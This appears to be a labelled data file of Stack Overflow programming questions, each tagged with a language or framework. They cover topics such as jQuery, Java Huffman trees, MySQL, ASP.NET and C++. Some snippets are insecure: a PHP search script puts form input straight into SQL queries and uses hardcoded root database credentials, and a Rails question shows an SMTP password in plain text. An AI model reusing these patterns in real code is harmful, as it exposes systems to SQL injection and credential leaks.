<pre><code>&gt; composition start &gt; _init: carclass &gt; _init: engineclass &gt; tb_init: tirebasic &gt; tb_init: tirebasic &gt; tb_init: tiresnow ***** &gt; ts_init: tiresnow &gt; tb_init: tiresnow ***** &gt; ts_init: tiresnow &gt;   &gt; this is a basic tire. &gt; this is a basic tire. &gt; this is a snow tire. &gt; this is a snow tire. &gt;  &gt; _deal: carclass &gt; tb_deal: tirebasic &gt; tb_deal: tirebasic &gt; ts_deal: tiresnow &gt; tb_deal: tiresnow ****** &gt; ts_deal: tiresnow &gt; tb_deal: tiresnow ****** &gt; _deal: engineclass </code></pre>   the line with stars are coming from the tiresnow [super init] and [super dealloc]  it seems to be [self class] that is returning  tiresnow  each time  can anyone explain why     many thanks    gary,objective-c
expected  =         ;    asm  or  __attribute__  before  sizeof  <pre><code>@implementation classname  static const unsigned int offset_stx =0; static const unsigned int offset_etx =1; static const unsigned int offset_ktx =2; static const unsigned int offset_mtx =4; static const unsigned int offset_ltx =5;  static const char stx =0x05; static const char etx =0x09;  @end </code></pre>   error:   <pre><code>expected  =         ;    asm  or  __attribute__  before  sizeof  </code></pre>   how do i declare these static variables inside the class.    do i need to declare   <pre><code>+(int)offset_etx {  return offset_etx=0; } </code></pre>   and call through [classname offset_etx]; for every static variables. i am having more than 10 static variables to be assigned in my program.,objective-c
rails - check if the active record is not empty and then call relation on it  i am fetching data from database using the following statement   <pre><code>@applications = job.find(params[:job_id]).job_applications </code></pre>   using the relationships i have setup if i do   <pre><code>@applications.first.job </code></pre>   this will give me the job  application is linked with.    inside the view i have the following code  this fails if the <code>@applications</code> is empty.   <pre><code>  &lt;% if !@applications.first.job.procedure %&gt;     &lt;div class= alert alert-warning &gt;       &lt;p&gt;no procedure has been assigned to this job.&lt;/p&gt;     &lt;/div&gt;   &lt;% end %&gt; </code></pre>   how can i update the above if statement so it only runs if the <code>@applications</code> is not empty,ruby-on-rails
recalculate sum of all select values on change  i m trying to implement <a href= https://stackoverflow.com/questions/7249757/jquery-sum-values-from-different-divs-with-same-classes >this question</a> s answer in to my code  but i m hitting issues with the recalculation.    i have three dynamically-created <code>&lt;select&gt;</code> dropdowns that hold values from 0 to 25. i have given these a <code>.select-control</code> class so that i can access them easier. code for each is as follows:   <pre><code>&lt;select name= amount_1  class= form-control select-control  required&gt;     &lt;option disabled selected value=  &gt;no. of vouchers&lt;/option&gt;     &lt;option value= 0 &gt;0&lt;/option&gt;     &lt;option value= 1 &gt;1&lt;/option&gt;     &lt;option value= 2 &gt;2&lt;/option&gt;     &lt;option value= 3 &gt;3&lt;/option&gt;     ...     &lt;option value= 21 &gt;21&lt;/option&gt;     &lt;option value= 22 &gt;22&lt;/option&gt;     &lt;option value= 23 &gt;23&lt;/option&gt;     &lt;option value= 24 &gt;24&lt;/option&gt;     &lt;option value= 25 &gt;25&lt;/option&gt; &lt;/select&gt; </code></pre>   the other two <code>&lt;selects&gt;</code> are named <code>amount_2</code> and <code>amount_3</code> respectively.    when one of their values changes  i need to recalculate the total sum of the selected options. this is my (non-working) code as it stands now. any push in the right direction would be appreciated.   <pre><code>var total = 0; $( .select-control ).change(function() {     $( .select-control ).each(function() {         total += parseint(this.value);     });     alert(total); }); </code></pre>   the alert is only for testing purposes. once working  i will simply update a <code>&lt;span&gt;</code> element with the total.    here is a <a href= http://jsfiddle.net/3c4fxpa5/  rel= nofollow noreferrer >jsfiddle</a>.    <strong>edit:</strong> after answers  here is a working <a href= http://jsfiddle.net/3c4fxpa5/2/  rel= nofollow noreferrer >jsfiddle</a>.,jquery
how to write a variables s content to a file in javascript <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/2846045/firefox-how-to-enable-local-javascript-to-read-write-files-on-my-pc >firefox: how to enable local javascript to read/write files on my pc </a>    </blockquote>     consider the javascript code:   <pre><code>var body=   ; body=body+/*some string*/ </code></pre>   i want some simple way to write this content (<code>var body</code> in this code) to a file in local computer.    please help me out in doing this job.    thanks,javascript
depth of huffman nodes  i m new in java. i m trying to obtain the average depth tree depth. i already have the number of nodes. i just need each node s depth. i have a method to obtain the height of the tree. i m thinking if i could use this method and reverse it to obtain the depth of every node. but i don t know how to specify the node in the method. do you guys have any advice for specifying the nodes one by one in the method  right now my method take a tree type as parameter ps: english is not my native language. sorry for any confusion   <pre><code>import java.util.*;  public class huffmancode {     int numberofnode = 1;     int height;     string fullcode =   ;     string realcode =   ;      // input is an array of frequencies  indexed by character code     public huffmantree createtree(int[] charfreqs) {         priorityqueue&lt;huffmantree&gt; trees = new priorityqueue&lt;huffmantree&gt;();         // initially  we have a forest of leaves         // one for each non-empty character         for (int x = 0; x &lt; charfreqs.length; x++) {             if (charfreqs[x] &gt; 0)                 trees.offer(new huffmanleaf(charfreqs[x]  (char) x));         }         /*          * step 2 in huffman coding while loop to remove 2 nodes with the          * highest priority(lowest probability)          */         while (trees.size() &gt; 1) {             // poll the two nodes with least frequency             huffmantree a = trees.poll();             huffmantree b = trees.poll();              // put into new node and re-insert into queue             trees.offer(new huffmannode(a  b));             numberofnode++;         }         return trees.poll();      }      public void printresults(huffmantree tree  stringbuffer prefix) {         if (tree instanceof huffmanleaf) {             huffmanleaf leaf = (huffmanleaf) tree;              // print out character  frequency  and code for this leaf (which is             // just the prefix)             system.out.println(leaf.value +  \t  + leaf.frequency +  \t  + prefix);             encodedinput(prefix);             for (int x = 0; x &lt; leaf.frequency; x++) {                 realcode = realcode + prefix;             }          } else if (tree instanceof huffmannode) {             huffmannode node = (huffmannode) tree;             numberofnode++;              // move left             prefix.append( 0 );             printresults(node.left  prefix);             prefix.deletecharat(prefix.length() - 1);              // move right             prefix.append( 1 );             printresults(node.right  prefix);             prefix.deletecharat(prefix.length() - 1);             height = findheight(node);          }      }      public void encodedinput(stringbuffer prefix) {         fullcode = fullcode +       + prefix;      }      public int findheight(huffmantree tree) {         if (tree == null) {             return -1;         }          if (tree instanceof huffmanleaf) {             return 0;         } else if (tree instanceof huffmannode) {             int left = findheight(((huffmannode) tree).left);             int right = findheight(((huffmannode) tree).right);              if (left &gt; right) {                 return left + 1;             } else {                 return right + 1;             }         } else {             return -1; // does not happen  you might want to raise exception.         }     }      public void printqueue(priorityqueue&lt;huffmantree&gt; pq) {         while (pq.size() &gt; 0) {             system.out.println(pq.poll());         }     } } </code></pre>   other class i have:   <pre><code>class huffmannode extends huffmantree {     public huffmantree left;     public huffmantree right;      public huffmannode(huffmantree left  huffmantree right) {         super(left.frequency + right.frequency);          this.left = left;         this.right = right;     } }  class huffmanleaf extends huffmantree {     public char value; // the character this leaf represents     public huffmanleaf(int frequency  char value) {         super(frequency);         this.value = value;     } }  public class huffmantree implements comparable&lt;huffmantree&gt; {     public int frequency; // the frequency of this tree      public huffmantree(int frequency) {         this.frequency = frequency;     }     public int compareto(huffmantree tree) {         return frequency - tree.frequency;     } } </code></pre>,java
how can i get to installed app list on iphone device   i m new for iphone dev. i got a question for development of iphone app. is it possible to get to installed app list on iphone device  thanks.,iphone
cutting down on the number of public classes in my .net application   i m concerned that a lot of the classes in my application are <code>public</code>. i figure that the majority of them don t need to be.    are there any tools that can analyse my project (or the binary) and tell me which classes can safely be made <code>internal</code>,.net
inserting a row if a certain value is not already in the database with mysql  i have a list of people and their information  first name  last name  email  phone  etc....    for whatever reason  when my co-worker imported this list into the database  he didn’t get everybody in there.  now  it’s up to me to get the ~500 people who didn t make it in to the system.  i believe that the quickest way to do this would be to do something like “insert this person if there is not already a phone number of ‘foobar’.”    is there a way to do this in mysql   i’ve tried doing this:   <pre><code>if not exists(select 1 from &lt;my table name&gt; where phone =  1234567890 ) begin     &lt;code to insert new person&gt; end </code></pre>   but mysql told me that there was an error:   <blockquote>    you have an error in your sql syntax; check the manual that corresponds to your mysql server version for the right syntax to use near  if not exists(select 1 from  where pphone =  1234567890  at line 1  </blockquote>,mysql
http error 500.19 - internal server error when i changed web.config  i want to add registration functionality on my web-site. when i add config in web.config i get following error while running the project:   <blockquote>    http error 500.19 - internal server error the requested page cannot be   accessed because the related configuration data for the page is   invalid  </blockquote>   details:   <pre><code> detailed error information:     module     iis web core     notification       unknown     handler    not yet determined     error code     0x80070032     config error       the configuration section  authentication  cannot be read because it is missing a section declaration </code></pre>   my web.config:   <pre><code>&lt;connectionstrings&gt;           &lt;add name= model12  connectionstring= data source=.\sqlexpress;initial catalog=test123;integrated security=true; /&gt;   &lt;/connectionstrings&gt;    &lt;authentication mode= forms &gt;  &lt;forms loginurl= ~/firstpage.aspx  timeout= 2880  /&gt; &lt;/authentication&gt;   &lt;membership defaultprovider= custommembershipprovider &gt;      &lt;providers&gt;      &lt;clear /&gt;      &lt;add name= custommembershipprovider            type= mymembershipprovider            connectionstringname= model12            enablepasswordreset= true            maxinvalidpasswordattempts= 5            minrequiredpasswordlength= 6            minrequirednonalphanumericcharacters= 0            passwordattemptwindow= 10            applicationname= /  /&gt;      &lt;/providers&gt; &lt;/membership&gt; </code></pre>   what may be the problem,asp.net
ace code editor not allowing my menu to show up top  i have the following code which shows the ace code editor in the div  but my main menu isn t showing up. any ideas as to why    <pre><code>&lt;!doctype html&gt; &lt;html lang= en &gt; &lt;head&gt;   &lt;meta charset= utf-8 &gt;   &lt;meta http-equiv= x-ua-compatible  content= ie=edge chrome=1 &gt;   &lt;title&gt;editor&lt;/title&gt;   &lt;style type= text/css  media= screen &gt;     body {         overflow: hidden;         background-color: black;     }      #editor {         margin: 0;         position: absolute;         top: 0;         bottom: 0;         left: 0;         right: 0;     }      ul.topnav {         list-style: none;         padding: 0 20px;             margin: 0;         float: left;         width: 920px;         background: #222;         font-size: 1.2em;         background: url(topnav_bg.gif) repeat-x;     }      ul.topnav li {         float: left;         margin: 0;           padding: 0 15px 0 0;         position: relative; /*--declare x and y axis base for sub navigation--*/     }      ul.topnav li a{         padding: 10px 5px;         color: #fff;         display: block;         text-decoration: none;         float: left;     }      ul.topnav li a:hover{         background: url(topnav_hover.gif) no-repeat center top;     }      ul.topnav li span { /*--drop down trigger styles--*/         width: 17px;         height: 35px;         float: left;         background: url(subnav_btn.gif) no-repeat center top;     }      ul.topnav li span.subhover {background-position: center bottom; cursor: pointer;} /*--hover effect for trigger--*/      ul.topnav li ul.subnav {         list-style: none;         position: absolute; /*--important - keeps subnav from affecting main navigation flow--*/         left: 0; top: 35px;         background: #333;         margin: 0; padding: 0;         display: none;         float: left;         width: 170px;         border: 1px solid #111;     }      ul.topnav li ul.subnav li{         margin: 0; padding: 0;         border-top: 1px solid #252525; /*--create bevel effect--*/         border-bottom: 1px solid #444; /*--create bevel effect--*/         clear: both;         width: 170px;     }      html ul.topnav li ul.subnav li a {         float: left;         width: 145px;         background: #333 url(dropdown_linkbg.gif) no-repeat 10px center;         padding-left: 20px;     }      html ul.topnav li ul.subnav li a:hover { /*--hover effect for subnav links--*/         background: #222 url(dropdown_linkbg.gif) no-repeat 10px center;      }   &lt;/style&gt; &lt;/head&gt; &lt;body&gt;     &lt;!-- main menu --&gt;     &lt;div id= main_menu &gt;         &lt;ul class= topnav &gt;             &lt;li&gt;&lt;a href= # &gt;home&lt;/a&gt;&lt;/li&gt;             &lt;li&gt;                 &lt;a href= # &gt;tutorials&lt;/a&gt;                 &lt;ul class= subnav &gt;                     &lt;li&gt;&lt;a href= # &gt;sub nav link&lt;/a&gt;&lt;/li&gt;                     &lt;li&gt;&lt;a href= # &gt;sub nav link&lt;/a&gt;&lt;/li&gt;                 &lt;/ul&gt;             &lt;/li&gt;             &lt;li&gt;                 &lt;a href= # &gt;resources&lt;/a&gt;                 &lt;ul class= subnav &gt;                     &lt;li&gt;&lt;a href= # &gt;sub nav link&lt;/a&gt;&lt;/li&gt;                     &lt;li&gt;&lt;a href= # &gt;sub nav link&lt;/a&gt;&lt;/li&gt;                 &lt;/ul&gt;             &lt;/li&gt;             &lt;li&gt;&lt;a href= # &gt;about us&lt;/a&gt;&lt;/li&gt;             &lt;li&gt;&lt;a href= # &gt;advertise&lt;/a&gt;&lt;/li&gt;             &lt;li&gt;&lt;a href= # &gt;submit&lt;/a&gt;&lt;/li&gt;             &lt;li&gt;&lt;a href= # &gt;contact us&lt;/a&gt;&lt;/li&gt;         &lt;/ul&gt;     &lt;/div&gt;      &lt;!-- source editor --&gt;     &lt;div id= source_file  style= background-color: red; width: 100%; position: relative; min-height: 1px; height: 200px; &gt;         &lt;pre id= editor &gt;&lt;/pre&gt;      &lt;/div&gt;      &lt;script src= ace-builds-master/src-noconflict/ace.js  type= text/javascript  charset= utf-8 &gt;&lt;/script&gt;     &lt;script&gt;         var editor = ace.edit( editor );         var gui = require( nw.gui )         var win = gui.window.get();          editor.settheme( ace/theme/twilight );         editor.getsession().setmode( ace/mode/lua );     &lt;/script&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,html
python fibonacci sequence <pre><code>from decimal import decimal pos_inf = decimal( infinity )  f1 = 1 f2 = 1 n = 0  while n &lt; pos_inf:     n = f1 + f2      f1 = n     f2 = f1 + f2      print(f1)     if(len(str(f1) == 3):          break      print(f1 + the number is found) print(f2)  if(len(str(f2) == 3):     break print(f2 + the number is found) </code></pre>   this is obviously a fibonacci generator where at one point one of the number being printed will be 144  and this will be the first number with 3 digits. i am not sure why the above isn t working,python
right floated span does not appear to be in parent div  i m trying to float a span right in my message bar. for some reason on in my webpage the right floated span appears below the div visually. in js fiddle it looks ok. what could be pushing it down     example: <a href= http://jsfiddle.net/g6wwb/  rel= nofollow >http://jsfiddle.net/g6wwb/</a>    html:   <pre><code>&lt;div class= msg &gt;     some thext here     &lt;span class= goright &gt;close&lt;/span&gt; &lt;/div&gt; </code></pre>   css:   <pre><code>.msg {     background-color: green; }  .goright {     float:right; } </code></pre>,css
how do you fetch a dynamic id from a list   for some reason this code below is not alerting me the correct data-id when i click on one of the links.    this is what i have:    html   <pre><code>&lt;a class= margin-0 size-9 serve  data-toggle= modal  data-target= #mymodal2  data-id= 3 &gt;hello&lt;/a&gt;&lt;/p&gt; &lt;a class= margin-0 size-9 serve  data-toggle= modal  data-target= #mymodal2  data-id= 4 &gt;test&lt;/a&gt;&lt;/p&gt; </code></pre>   jquery   <pre><code>$( .serve ).click(function(){ // click to only happen on serve links    alert($(this).attr( data-id )); }); </code></pre>   thanks in advance,jquery
how can i override an exception so it returns the lowest level innerexception.exceptionmessage   i m using the following to catch an exception type and add more details:   <pre><code>        try         {             this.applyrules();             return base.savechanges();         }         catch (dbentityvalidationexception ex)         {             var sb = new stringbuilder();              foreach (var failure in ex.entityvalidationerrors)             {                 sb.appendformat( {0} failed validation\n   failure.entry.entity.gettype());                 foreach (var error in failure.validationerrors)                 {                     sb.appendformat( - {0} : {1}   error.propertyname  error.errormessage);                     sb.appendline();                 }             }              throw new dbentityvalidationexception(                  entity validation failed - errors follow:\n  +                 sb.tostring()  ex                 ); // add the original exception as the innerexception         }         catch (exception ex)         {             &lt; some code here that would give me more detail about what the exception was &gt;              throw new exception( );         } </code></pre>   this works but now i would like to be able to catch the innerexception.exceptionmessage for other types of exceptions.     is there a way i could add code to this that would include the lowest level innerexception.exceptionmessage for all other exception types. some code that would walk down the exception tree and pick up the final message,c#
select column info and join with constraint info  how can i join these 2 queries to get all table info in one result     <strong>a - get all columns and their datatype belonging to table customers</strong>   <pre><code>select column_name  data_type from information_schema.columns where table_name =  customers  </code></pre>   <strong>b - get all constraints on the table customers</strong>   <pre><code>select        kcu1.constraint_name as  constraintname   kcu1.column_name as  columnname   kcu2.table_name as  foreigntablename                                 kcu2.column_name as  foreigncolumnname      from            information_schema.referential_constraints as rc inner join                              information_schema.key_column_usage as kcu1 on kcu1.constraint_catalog = rc.constraint_catalog and                               kcu1.constraint_schema = rc.constraint_schema and kcu1.constraint_name = rc.constraint_name inner join                              information_schema.key_column_usage as kcu2 on kcu2.constraint_catalog = rc.unique_constraint_catalog and                               kcu2.constraint_schema = rc.unique_constraint_schema and kcu2.constraint_name = rc.unique_constraint_name and                               kcu2.ordinal_position = kcu1.ordinal_position and kcu1.table_name =  customers  </code></pre>   the result i want is a list of all columns and those that have a foreign key connection to another table should be denoted as such. (sorry for my poor terminology),sql
c# how to update file(leave old data)  now i m writing to a file:   <pre><code>textwriter tw = new streamwriter(@ d:/duom.txt ); tw.writeline( text1 ); </code></pre>   when i writen second time all data delete and write new.    how update data  leave old data and add new,c#
how to prevent crash when a referenced assembly isn t found   i have a small command line program that uses the team system api. when the correct team system isn t installed on the machine  the program prints a traceback with system.io.filenotfoundexception  but it also <strong>crashes</strong> and shows the standard error messasge:   <blockquote>    xxx has encountered a problem and   needs to close.  we are sorry for the   inconvenience.  </blockquote>   i just want my program to print a  the program requires team system 2008  message to the console and quit without crashing.    from what i understand this whole loading process is happening before the first line of my c# code is run. is there any way to control this,.net
actionmailer not sending emails even after setting all the possible configurations  this is the method inside <strong>applicationmailer</strong>   <pre><code>class canceltrip &lt; applicationmailer     default from:  xyz@gmail.com       def cancel_trip         @recvr=  ssdd@gmail.com          mail(to: @recvr  subject:  your trip has been cancelled as per your request  )     end end </code></pre>   and the environmental variables as follows:   <pre><code>smtp_address:  smtp.gmail.com  smtp_port: 587 smtp_domain:  localhost:3000  smtp_username:  xyz@gmail.com  smtp_password:  gggh2354  </code></pre>   and i am call the mailer method in my controller as follows:   <pre><code>def cancel    xxxxx    canceltrip.cancel_trip.deliver_now end </code></pre>   <strong>developement.rb</strong> has following   <pre><code>config.action_mailer.raise_delivery_errors = false config.action_mailer.default_url_options = {host:  localhost   port:3000} config.action_mailer.perform_deliveries = true </code></pre>   log shows the email being sent. but i dont see any email in inbox.  my rails version is 4.2.6.,ruby-on-rails
safe way to initialize a derived class  i have a base class:   <pre><code>class cbase {    public:       virtual void somechecks() {}       cbase() {          /* do some checks */          somechecks();          /* do some more checks */       } }; </code></pre>   and a derived class:   <pre><code>class cderived : public cbase {    public:       virtual void somechecks() { /* do some other checks */ }       cderived() : cbase() {} }; </code></pre>   this construction seems to be a bit weird but in my case this is required  because cbase does some checks and cderived can mix some checks in between them. you can see it as a way to  hook  functions in the constructor. the problem with this construction is that while constructing cderived first a cbase is constructed and there is no awareness of cderived (so overloaded function somechecks() is not called).    i could do something like this:   <pre><code>class cbase {    public:       void init() {          /* do some checks */          somechecks();          /* do some more checks */       }       virtual void somechecks() {}       cbase(bool bdoinit=true) {          if (bdoinit) { init(); }       } }; class cderived : public cbase {    public:       virtual void somechecks() { /* do some other checks */ }       cderived() : cbase(false) { init() } }; </code></pre>   this isn t really safe  because i want the constructor with the false parameter be protected  so only derived classes can call it. but then i ll have to create a second constructor (that is protected) and make it take other parameters (probably unused because is constructor is called when init() does not have to be called).    so i m quite stuck here.    <strong>edit</strong> actually i want something like this:   <pre><code>class cbase {    protected:       void init() { /* implementation of init ... */ }       cbase() { /* don t do the init()  it is called by derived class */ }    public:       cbase() { init(); }     // called when an object of cbase is created }; class cderived : public cbase {    public:       cderived() : cbase() { init(); } }; </code></pre>   it seems to me it is impossible to have 2 constructors with the same arguments being protected and public,c++
discrepancy in profiling java application  i was trying to calculate the performance of my algorithm by first implementing it in java and then calculating the processor time for different inputs. i used <code>threadmxbean.getcurrentthreadcputime()</code> to get the system time.    i profiled it first using the following code:   <pre><code>calculateprofile() {    for (int n = 10; n &lt;= 200; n++) {    long time_beg = getcurrentthreadtime();    run_my_algorithm(n);    long time_end = getcurrentthreadtime();    system.out.println( output =   + n +     + (time_end - time_beg)); } </code></pre>   however  i was surprised to see that with an increase in the value of n  the time profile does not increase as expected. in some cases  the execution time actually decreased  although my algorithm has a time complexity of o(n).    to look into the problem  i changed this code to run my algorithm once on each execution  and manually checked the time profile for each execution instance. in this case  i find a linear increase in execution time with respect to n. so my question is: how are the two cases different  what is making this difference in profile patterns  and  how to best automate this profiling process in that case,java
how to store the output from an objective-c program   i am developing a small program that generate some numbers randomly and also compute numbers for a high score screen. how do i store both kind of numbers in order to load them later when i re-start the program,objective-c
"unable to fetch data from the selected checkbox  here is the html code and php script  i am unable query data for the selected checkbox:    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code> &lt;code&gt;
 
 search the database using multiple options:&lt;br /&gt;&lt;br /&gt;
 
 &lt;form id= advanced_form  action= checkbox.php  enctype= multipart/form-data  method= post &gt;
 
 &lt;input type= checkbox  name= checkbox1[]  value= 1  /&gt; location: projectid
 &lt;input type= text  name= projectid  size= 10  /&gt; basesq30 from 
 &lt;input type= text  name= start  size= 10  /&gt; to 
 &lt;input type= text  name= end  size= 10  /&gt;
 &lt;br /&gt;&lt;br /&gt;
 
 &lt;input type= checkbox  name= checkbox1[]  value= 2  /&gt; platform:
 
 &lt;select name= key4  onchange= settext(key4 word4) &gt;
 &lt;option selected= selected  value= all &gt;select&lt;/option&gt;
 &lt;option value= miseq &gt;miseq&lt;/option&gt;
 &lt;option value= hiseq &gt;hiseq&lt;/option&gt;
 
 &lt;/select&gt;.&lt;br /&gt;&lt;br /&gt;
 &lt;input type= checkbox  name= genotype  value= 3  /&gt; run no:
 &lt;select multiple= multiple  name= checkbox1[]  size= 5 &gt;
 &lt;option selected= selected  value=  2 &gt;2&lt;/option&gt;
 &lt;option value=  3 &gt;3&lt;/option&gt;
 &lt;option value=  4 &gt;4&lt;/option&gt;
 &lt;option value=  5 &gt;5&lt;/option&gt;
 &lt;option value=  6 &gt;6&lt;/option&gt;
 &lt;/select&gt;
 
 &lt;center&gt;
 &lt;input type= reset  value= reset &gt;
 &lt;input style= align: center;  type= submit  name= submit  value= search  /&gt;&lt;/center&gt;
 
 &lt;/form&gt;
 &lt; php
 /*
 attempt mysql server connection. assuming you are running mysql
 server with default setting (user  root  with no password)
 */
 $link = mysqli_connect( localhost    root    root123    newdb );
  
 // check connection
 if($link === false)
 {
     die( error: could not connect.   . mysqli_connect_error());
 }
 //code
 if(isset($_post[ submit ]))
 {
     foreach($_post[ checkbox1 ] as $checkbox1)
     //printf( %s&lt;br&gt;  $checkbox1);
 
     if($checkbox1==1)
         $text=$_post[ projectid ];
     $a=$_post[ start ];
     $b=$_post[ end ];
     {
         $sql= select * from qcdata where project_id= $text  and bases_q30&gt;= $a  and bases_q30&lt;= $b  ;
     }
     if($checkbox1==2)
     {
         $value=$_post[ key4 ];
         $sql1= select * from qcdata where platform= $value  ;
     }
 }
 
 echo  $sql ;
 
 if($result = mysqli_query($link  $sql))
 {
     if(mysqli_num_rows($result) &gt; 0)
     {
         echo  &lt;table align= left &gt; ;
         echo  &lt;tr&gt; ;
         echo  &lt;th&gt;sno&lt;/th&gt; ;
         echo  &lt;th&gt;project_id&lt;/th&gt; ;
         echo  &lt;th&gt;file_name&lt;/th&gt; ;
         echo  &lt;th&gt;read_pair&lt;/th&gt; ;
         echo  &lt;th&gt;total_bases&lt;/th&gt; ;
         echo  &lt;th&gt;total_reads&lt;/th&gt; ;
         echo  &lt;th&gt;bases_q20&lt;/th&gt; ;
         echo  &lt;th&gt;bases_q30&lt;/th&gt; ;
         echo  &lt;th&gt;average_read_length&lt;/th&gt; ;
         echo  &lt;th&gt;readlength_range_min&lt;/th&gt; ;
         echo  &lt;th&gt;readlength_range_max&lt;/th&gt; ;
         echo  &lt;th&gt;quality_range_min&lt;/th&gt; ;
         echo  &lt;th&gt;quality_range_max&lt;/th&gt; ;
         echo  &lt;th&gt;phread_range_min&lt;/th&gt; ;
         echo  &lt;th&gt;phread_range_max&lt;/th&gt; ;
         echo  &lt;th&gt;gc_percentage&lt;/th&gt; ;
         echo  &lt;th&gt;a&lt;/th&gt; ;
         echo  &lt;th&gt;t&lt;/th&gt; ;
         echo  &lt;th&gt;g&lt;/th&gt; ;
         echo  &lt;th&gt;c&lt;/th&gt; ;
         echo  &lt;th&gt;n&lt;/th&gt; ;
         echo  &lt;th&gt;platform&lt;/th&gt; ;
         echo  &lt;th&gt;run_no&lt;/th&gt; ;
         echo  &lt;th&gt;creation_by&lt;/th&gt; ;
         echo  &lt;th&gt;creation_date&lt;/th&gt; ;
         echo  &lt;th&gt;last_modified&lt;/th&gt; ;
 
         echo  &lt;/tr&gt; ;
         
         while($row = mysqli_fetch_array($result))
         {
             echo  &lt;tr&gt; ;
             echo  &lt;td&gt;  .$row[ sno ].   &lt;/td&gt; ;
             echo  &lt;td&gt;  .$row[ project_id ] .  &lt;/td&gt; ;
             echo  &lt;td&gt;  .$row[ file_name ].  &lt;/td&gt; ;
             echo  &lt;td&gt;  .$row[ read_pair ] .  &lt;/td&gt; ;
             echo  &lt;td&gt;  .$row[ total_bases ] .  &lt;/td&gt; ;
             echo  &lt;td&gt;  .$row[ total_reads ] .  &lt;/td&gt; ;
             echo  &lt;td&gt;  .$row[ bases_q20 ] .  &lt;/td&gt; ;
             echo  &lt;td&gt;  .$row[ bases_q30 ] .  &lt;/td&gt; ;
             echo  &lt;td&gt;  .$row[ average_read_length ] .  &lt;/td&gt; ;
             echo  &lt;td&gt;  .$row[ readlength_range_min ] .  &lt;/td&gt; ;
             echo  &lt;td&gt;  .$row[ readlength_range_max ] .  &lt;/td&gt; ;
             echo  &lt;td&gt;  .$row[ quality_range_min ] .  &lt;/td&gt; ;
             echo  &lt;td&gt;  .$row[ quality_range_max ] .  &lt;/td&gt; ;
             echo  &lt;td&gt;  .$row[ phread_range_min ] .  &lt;/td&gt; ;
             echo  &lt;td&gt;  .$row[ phread_range_max ] .  &lt;/td&gt; ;
             echo  &lt;td&gt;  .$row[ gc_percentage ] .  &lt;/td&gt; ;
             echo  &lt;td&gt;  .$row[ a ] .  &lt;/td&gt; ;
             echo  &lt;td&gt;  .$row[ t ] .  &lt;/td&gt; ;
             echo  &lt;td&gt;  .$row[ g ] .  &lt;/td&gt; ;
             echo  &lt;td&gt;  .$row[ c ] .  &lt;/td&gt; ;
             echo  &lt;td&gt;  .$row[ n ] .  &lt;/td&gt; ;
             echo  &lt;td&gt;  .$row[ platform ] .  &lt;/td&gt; ;
             echo  &lt;td&gt;  .$row[ run_no ] .  &lt;/td&gt; ;
             echo  &lt;td&gt;  .$row[ creation_by ] .  &lt;/td&gt; ;
             echo  &lt;td&gt;  .$row[ creation_date ] .  &lt;/td&gt; ;
             echo  &lt;td&gt;  .$row[ last_modified ] .  &lt;/td&gt; ;
             echo  &lt;/tr&gt; ;
         }
         echo  &lt;/table&gt; ;
         // close result set
         mysqli_free_result($result);
     }
     else{
         echo  no records matching your query were found. ;
     }
 }
 else {
     echo  error: could not able to execute $sql.   . mysqli_error($link);
 } 
  
 // close connection
 mysqli_close($link);
  &gt;
 &lt;/code&gt;</code></pre>
 </div>
 </div>
     mysql db screenshot images are here <a href= http://i.stack.imgur.com/dunad.png  rel= nofollow >part 1</a> <a href= http://i.stack.imgur.com/gzrsn.png  rel= nofollow >part 2</a>",php
dynamic creation of button ok but its event handler not executed   i have following simple controls on a page    <code>webform1.aspx</code>         <pre><code>&lt;asp:panel id= panel1  runat= server &gt; &lt;/asp:panel&gt; &lt;br /&gt; &lt;asp:label id= lblcontent  runat= server  &gt;&lt;/asp:label&gt; </code></pre>   some code behind in <code>webform1.aspx.cs</code> :   <pre><code>protected void page_load(object sender  eventargs e) {     button btn = new button();     btn.id =  btntest ;     btn.text =  i was dynamically created ;     btn.click += new eventhandler(btntest_click);     panel1.controls.add(btn); }  void btntest_click(object sender  eventargs e) {     lblcontent.text =  btntest_click:   + datetime.now.tostring(); } </code></pre>   in short  when i dynamically create a button (<code>btntest</code>) in the <code>page_load</code> event and assign event handler <code>btntest_click</code> to the button. click event then  when loading the page i see <code>btntest</code> appearing and when clicking on it the event handler <code>btntest_click</code> is invoked. ok   no problem.    i have a problem though when i try following scenario... first  i add a button to the page in designer mode.   <pre><code>&lt;asp:panel id= panel1  runat= server &gt; &lt;/asp:panel&gt; &lt;asp:button     id= btncreatedynamically  runat= server               text= create button dynamically                   onclick= btncreatedynamically_click  /&gt; &lt;br /&gt; &lt;asp:label id= lblcontent  runat= server  &gt;&lt;/asp:label&gt; </code></pre>   i move the code from <code>page_load</code> to the button event handler of <code>btncreatedynamically</code> as follows   <pre><code>protected void btncreatedynamically_click(object sender  eventargs e) {     button btn = new button();     btn.id =  btntest ;     btn.text =  i was dynamically created ;     btn.click += new eventhandler(btntest_click);     panel1.controls.add(btn); } </code></pre>   when running the webapp now and clicking on <code>btncreatedynamically</code>  btntest is created but when i click on <code>btntest</code>  its event handler is not invoked        why not  how can i make this work,asp.net
calling a .js function - by html `onclick= func() ` or javascript s `on.( click )`   i am learning javascript/jquery and ran in to an issue.  i was able to fix that  but realized there are two ways to (in my eyes) do the same thing and i was wondering what the functional difference is  and if one over the other is a best practice.    simple idea - have a <code>type= submit </code> button on my html page.  when clicked  alert the user to a value in a <code>select</code> field.    <strong>html</strong>   <pre><code>&lt;select id= numbers &gt; &lt;option&gt;1&lt;/option&gt; &lt;option&gt;2&lt;/option&gt; &lt;/select&gt; &lt;input type= submit  id= submit_button &gt; </code></pre>   there are two ways i ve found to alert the currently selected value in the <code>numbers</code> selection.     <pre><code>$( #submit_button ).on( click   function(e){   var num = $( #numbers ).val();   alert(num); }); </code></pre>   <strong><em>or</em></strong>    edit the html to be:   <pre><code> &lt;input type= submit  id= submit_button  onclick= alertnum() &gt; </code></pre>   then in the .js   <pre><code>function alertnum(){     var num = $( #numbers ).val();     alert(num); }; </code></pre>   both seem to accomplish the same thing. what s the difference  if any,javascript
trouble styling td elements from external stylesheet  i m trying to port code over from using inline css to using a stylesheet and as i m pretty much a total css noob i m having trouble.    most of the things i ve moved over to external have worked fine  but i can t seem to get td elements to use styles defined in the stylesheet. here s an example:   <pre><code>&lt;td class= text_right &gt;...&lt;/td&gt; </code></pre>   <br>   <pre><code>.text_right { text-align: right; } </code></pre>   why doesn t that work,css
